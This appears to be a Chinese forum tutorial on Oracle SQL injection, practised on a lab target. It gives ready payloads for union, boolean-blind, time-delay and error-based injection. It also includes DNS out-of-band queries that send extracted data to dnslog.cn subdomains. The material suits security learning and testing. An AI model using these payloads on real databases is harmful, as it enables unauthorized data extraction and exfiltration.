Oracle注入(基础篇)

东东   ·   发表于 2021-12-24 15:43:31   ·   技术文章

先了解Oracle一些内容

Oracle做联合注入的注意事项(附带示例)

联合查询的字段数必须和前面的查询语句字段数一致
select id,username,password from admin union select 1,'admin' from dual (X)

联合查询的字段类型也必须和前面的查询语句字段类型一致
select id,username,password from admin union select 1,2,3 from dual (X)

联合查询的语句中必须要有表名
select id,username,password from admin union select 1,'admin','admin' (X)

正确的联合查询方法
select id,username,password from admin union select 1,'admin','admin' from dual (√)

注意:oracle中包裹字符串用''不要用""

Oracle自带的表

  • select * from all_tables 查询出所有的表

    关键字段:
    OWNER,用户(表的拥有者),不同的用户下会有不同的表
    TABLE_NAME,表名
    
  • select * from all_tab_columns 查询出所有的字段

    关键字段:
    OWNER,用户(表的拥有者),不同的用户下会有不同的表
    TABLE_NAME,表名
    COLUMN_NAME,字段名
    

下面两个都是查询当前用户的表和字段的,所以没有OWNER字段,另外两个字段是有的

  • select * from user_tables 查询出当前用户的表
  • select * from user_tab_columns 查询出当前用户的字段

其实用的话都用查字段的表就好了,因为查字段的表里面存储了表名和字段

Oracle怎么实现mysql中Limit的功能

在Oracle中有一个比较特殊的存在,它就是rownum,它是一个伪列,它并不存储在任何表中,而是在当我们执行了查询语句之后,它就会出现,对查出来的数据进行编号,将它做为一个判断规则时,它是不支持用>号的,只能是=1或者<n

示例如下

SELECT * FROM user WHERE rownum = 1; -- 没问题
SELECT * FROM user WHERE rownum = 2; -- 有问题
SELECT * FROM user WHERE rownum < 2; -- 没问题
SELECT * FROM user WHERE rownum > 2; -- 有问题

那如果我们就是想对他用>呢,那么也有办法,用子查询给rownum取个别名,然后外面的查询语句,再使用别名调用rownum的值就好了

例如这里有5条数据我要取后三条数据

SELECT * FROM (SELECT rownum rn,DEPT.* FROM DEPT WHERE rownum < 6)r WHERE rn > 2;

如何判断是否是oracle数据库

  1. 通过版本号判断,and (select count(*) from v$version) > 0

  2. 通过特有的表判断,and (select count(*) from user_tables) > 0,用dual来进行测试也行

  3. 通过特有的函数判断,and bitand(1,1)=1

信息收集

  1. 查询当前用户

    select user from dual
    
  2. 查询数据库文件存储位置

    select name from V$DATAFILE
    
  3. 查询数据库版本

    -- 占个行
    SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
    -- 这个视图需要权限才能查询,所以也可以用它来判断当前用户权限
    select version from v$instance
    
  4. 查询当前用户权限

    -- 这个可以查询当前用户可以进行哪些操作,例如CREATE SESSION,CREATE PROCEDURE等
    select privilege from session_privs
    
  5. 查询主机IP

    -- 查询的是内网IP
    select utl_inaddr.get_host_address from dual
    
  6. 查询当前库名,两个都可以用,都可以试一试

    SELECT global_name FROM global_name;
    SELECT SYS.DATABASE_NAME FROM DUAL;
    
  7. 查询JAVA权限,这个权限是指用户可以调用哪些JAVA类

    -- 查询所有用户JAVA权限,需要有DBA权限
    select * from DBA_JAVA_POLICY;
    -- 查看当前用户的JAVA权限
    select * from user_java_policy
    
  8. 查看对象( JAVA类(JAVA SOURCE),存储过程(PROCEDURE),函数(FUNCTION))

    -- 查看当前用户创建的对象,常看的就是
    select * from user_objects
    -- 查看所有用户创建的对象
    select * from all_objects
    -- 查看已经加载的对象
    SELECT * FROM ALL_OBJECTS WHERE OBJECT_TYPE IN ('FUNCTION','PROCEDURE','PACKAGE') order by object_id desc;
    
  9. 查看当前角色权限

    select granted_role from user_role_privs
    
  10. 查看指定包源码

    select TEXT FROM all_source WHERE NAME='包名'
    

联合注入

测字段数 -> 找显错位-> 拿表名 -> 拿字段名 -> 拿数据

再Mysql中可能要查其他数据库的数据,那么再开头还会有一个拿库名的过程,在Oracle中是拿用户名

靶场实战

  1. 先测试字段数,有两种办法

    1. 使用order by 关键字进行测试,例如这里,order by 4的时候还是正常的

      order by 5的时候报错了,说明字段数是4
    2. 使用联合查询逐一添加字段位数去进行判断,这里有两个注意点
      1. 由于oracle做联合注入需要和前面的联合查询语句字段类型一致,所以我们先用null进行占位,它可以匹配任何类型
      2. oracle的查询语句必须有表名,所以这里写了from dual

        当字段里面写到4个null时,不报错, 说明是4个字段
  2. 找显错位
    上面我们已经知道了是4个字段,然后就可以先写上4个null进行占位union select null,null,null,null from dual,然后逐个替换数据的类型进行测试,常见的数据类型其实就那么几个(数值,字符串,时间)

    这里第一位写的字符'a',它爆了一个expression must have same datatype as corresponding expression的错误,这表示字段的类型不对,那么就不是字符型了

    然后换成1,它没报错,说明第一个字段类型是数值型

    下面测试第二个字段,还是和上面一样,先写字符'a',这时候注意它的报错,已经和刚才的报错是不一样了,这里的报错是字符集不匹配,那么解决方法就是把我们输入的内容转换为匹配的字符集

    这里就得提到to_char(),to_nchar()两个函数了,我们可以尝试用这两个函数去对'a'进行转换,哪个没报错,那么就用哪个,这里用的是to_nchar()
    union select,to_nchar('a'),null,null from dual

    并且也已经回显了字符a,那么就没必要再测下面的字段类型了,我们用它就好了,如果有字段是时间类型的话可以用to_date()函数,不过我认为如果是时间类型的话,哪怕回显了也利用不了

  3. 获取表名
    利用oracle的user_tab_columns这个自带表进行查询就好了,这里主要的问题在于如何获取其他表名

    1. union selec 1,to_nchar(table_name),null,null from user_tab_columns

      有两个办法
      1. 排除法,将当前的查询到的表名给排除掉就可以获取下一个表名,注意区分大小写
        union selec 1,to_nchar(table_name),null,null from user_tab_columns where table_name<>'ADMIN'

        如果还要查下一个表名那么就在加判断,and table_name <> 'MD5',以此类推

        上面这种写法,如果排除的表名多了,语句就会很长,还有一种更好的办法,使用not in关键字,只需要把要排除的表名直接写进去就好了
        union selec 1,to_nchar(table_name),null,null from user_tab_columns where table_name not in('ADMIN','MD5')
        2.别名法,再刚开始已经提过了,使用子查询对rownum进行取别名的方式来取数据
  4. 查字段名
    利用user_tab_columns中的column_name字段就好了,获取其他字段名的方法还是用上面的办法,别忘了限制查哪个表的字段,不然你拿的是谁的字段都不知道

    union select null,to_nchar(column_name),null,null from user_tab_columns where table_name='ADMIN'

  5. 查数据
    union selec 1,to_nchar(UNAME),null,null from ADMIN
    这里就查刚才获取的UNAME字段的数据吧

布尔注入

字符操作函数

  • length(string),返回字符串的长度
  • instr(源字符,目标字符[,起始位置[,匹配序号]]),这个函数的作用是返回源字符中第一次匹配到目标字符的位置,如果没有的话就返回0,起始位置是设置开始匹配的位置
示例如下
-- 我们先查出第一个字符是什么,所以写1=,然后S这个位置就是可以用来枚举字符的位置了,这里面有两个S,但是它只会返回第一个匹配到S的位置
select * from dual where 1=instr('SYSTEM','S')
-- 我们查第二个字符,就改成2=,并且写上第三个参数为2,让他从第2个字符开始查
select * from dual where 2=instr('SYSTEM','Y',2)
-- 第三个,以此类推
select * from dual where 3=instr('SYSTEM','Y',3)
...........
  • substr(string,start,end),指定位置截取字符串,这个函数在mysql做帮助的时候用的多,就不细讲了
  • chr(ascii),把ascii码转为对应的字符
  • ascii(char),把字符转为ascii码
  • decode(a1,a2,x1,x2),判断a1和a2是否相等,那么就执行x1,否则执行x2,可以用来做布尔或者延时的盲注

靶场实战

这里就以表名为例,注意我在where后面写了rownum=1,因为查出多条数据会报错的

利用instr()函数做题

  1. 先利用length(),测出表名的长度
    and length((select table_name from user_tables where rownum=1))=1

    表名长度为5

  2. 然后利用instr()获取表名
    and 1=instr((select table_name from user_tables where rownum=1),'a',1),图片中我没有写1,因为默认就是1开始

    跑出来第一个字符是A

    跑后面的字符就按instr中说的示例改就好了

decode()+substr()做题

这个相比使用instr()要写的参数更多,写的时候细心一点

-- 匹配成功返回1,1=1就会为真,匹配失败返回0,就会为假
1=decode(substr((select table_name from user_tables where rownum=1),1,1),'a',1,0)
-- 要查询第二个字符的话,将substr的第二个参数改为2就好了,后面的以此类推
1=decode(substr((select table_name from user_tables where rownum=1),2,1),'a',1,0)
-- 爆破的位置为decode的第二个参数,详情见图片中设置的枚举位置
-- 如果想枚举ascii码,可以在substr的外面用ascii()函数进行转换就好了
1=decode(ascii(substr((select table_name from user_tables where rownum=1),2,1)),98,1,0)

and 1=decode(substr((select table_name from user_tables where rownum=1),1,1),'a',1,0)

这里跑出来第一个字符是A

延时注入

延时函数

  1. dbms_pipe.receive_message('任意字符',延迟时间)

  2. (select count(*) from all_objects),利用查询大量数据来达到一个延时的效果
    执行了(select count(*) from all_objects)的语句查询结果用时0.555秒

    而没有执行的查询用时才0.053秒

报错注入

报错函数

  • 1=utl_inaddr.get_host_name((查询语句))

    靶场不支持使用这个函数,所以在数据库里面测试了,可以使用,||符号在oracle中的作用是拼接字符串,我这里往user的左右两边拼接了一个-更方便区分

  • 1=ctxsys.drithsx.sn(1,(查询语句))

  • (select upper(XMLType(chr(60)||chr(58)||(查询语句)||chr(62))) from dual) is not null

    那几个chr()函数被我用转换后的字符给替换了

  • (select dbms_xdb_version.checkin((查询语句)) from dual) is not null

  • and (select dbms_xdb_version.makeversioned((查询语句)) from dual) is not null

  • and (select dbms_xdb_version.uncheckout((查询语句)) from dual) is not null

  • and (SELECT dbms_utility.sqlid_to_sqlhash((查询语句)) from dual) is not null

堆叠注入

ORACLE不支持堆叠注入

DNS注入

  • select * from dual where (select utl_http.request(查询的字段||'.lcq2u0.dnslog.cn') from dual) is not null

  • and (select utl_inaddr.get_host_address(查询的字段||'.tmpgak.dnslog.cn') from dual)is not null

用户名金币积分时间理由
Track-劲夫 30.00 0 2021-12-24 15:03:48 活动奖励
Track-劲夫 60.00 0 2021-12-24 15:03:15 一个受益终生的帖子~~

打赏我,让我更有动力~

附件列表

oracle注入之基础注入.zip   文件大小:0.005M (下载次数:6)

0 条回复   |  直到 2021-12-24 | 933 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.